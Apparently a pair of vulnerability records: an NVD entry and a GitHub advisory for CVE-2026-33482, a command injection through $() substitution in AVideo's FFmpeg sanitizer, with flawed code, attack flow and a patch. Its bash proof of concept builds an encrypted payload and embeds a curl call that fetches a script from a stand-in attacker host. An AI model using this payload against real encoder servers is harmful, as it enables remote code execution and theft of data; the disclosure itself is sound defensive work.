{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`\u0026\u0026`, `;`, `|`, `` ` ``, `\u003c`, `\u003e`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, la funci\u00f3n \u0027sanitizeFFmpegCommand()\u0027 en \u0027plugin/API/standAlone/functions.php\u0027 est\u00e1 dise\u00f1ada para prevenir la inyecci\u00f3n de comandos del sistema operativo en comandos ffmpeg eliminando metacaracteres peligrosos del shell (\u0027\u0026amp;\u0026amp;\u0027, \u0027;\u0027, \u0027|\u0027, \u0027`\u0027, \u0027\u0026lt;\u0027, \u0027\u0026gt;\u0027). Sin embargo, no logra eliminar \u0027$()\u0027 (sintaxis de sustituci\u00f3n de comandos de bash). Dado que el comando saneado se ejecuta dentro de un contexto \u0027sh -c\u0027 entre comillas dobles en \u0027execAsync()\u0027, un atacante que puede crear una carga \u00fatil cifrada v\u00e1lida puede lograr la ejecuci\u00f3n arbitraria de comandos en el servidor codificador independiente. El commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contiene un parche."
    }
  ],
  "id": "CVE-2026-33482",
  "lastModified": "2026-03-24T18:41:00.410",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T15:16:34.560",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:46:39Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`\u0026\u0026`, `;`, `|`, `` ` ``, `\u003c`, `\u003e`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n    \n    // Remove dangerous characters\n    $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, $command);  // Missing: $ ( ) \\n\n    \n    // Ensure it starts with an allowed prefix\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos(trim($command), $prefix) === 0) {\n            return $command;\n        }\n    }\n    return \u0027\u0027;\n}\n```\n\nThe character class `[;|`\u003c\u003e]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";\n```\n\nThe `addcslashes($command, \u0027\"\u0027)` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server\u0027s unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` \u2014 `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` \u2014 `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` \u2014 cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` \u2014 predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global[\u0027salt\u0027]` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing \u003e which would be stripped\nMALICIOUS_CMD=\u0027ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4\u0027\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV  = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = \u0027KNOWN_SALTV2\u0027;\n\\$iv_source = \u0027/var/www/html/AVideo/\u0027;\n\\$key = hash(\u0027sha256\u0027, \\$salt);\n\\$iv = substr(hash(\u0027sha256\u0027, \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt(\u0027$PAYLOAD\u0027, \u0027AES-256-CBC\u0027, \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c \u0027import urllib.parse; print(urllib.parse.quote(\\\"\u0027$ENCRYPTED\u0027\\\"))\u0027)\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker\u0027s script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)` \u2192 no `\u0026\u0026` present, passes\n- `preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, ...)` \u2192 no `\u003e` outside `$()`, passes\n- `preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, ...)` \u2192 no `;|`\u003c\u003e` present, passes\n- Prefix check \u2192 starts with `ffmpeg`, passes\n- `addcslashes($command, \u0027\"\u0027)` \u2192 no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n\n    // Verify it starts with an allowed prefix\n    $trimmed = trim($command);\n    $validPrefix = false;\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos($trimmed, $prefix) === 0) {\n            $validPrefix = true;\n            break;\n        }\n    }\n    if (!$validPrefix) {\n        _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n        return \u0027\u0027;\n    }\n\n    // Strip ALL shell metacharacters, including command substitution\n    // This covers: ; | ` \u003c \u003e $ ( ) { } \\n \\r\n    $command = preg_replace(\u0027/[;|`\u003c\u003e$(){}\\\\\\\\]/\u0027, \u0027\u0027, $command);\n    $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/[\\n\\r]/\u0027, \u0027\u0027, $command);\n    $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n\n    _error_log(\"Command sanitized successfully\");\n    return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
  "id": "GHSA-pmj8-r2j7-xg6c",
  "modified": "2026-03-25T18:50:02Z",
  "published": "2026-03-20T20:46:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()"
}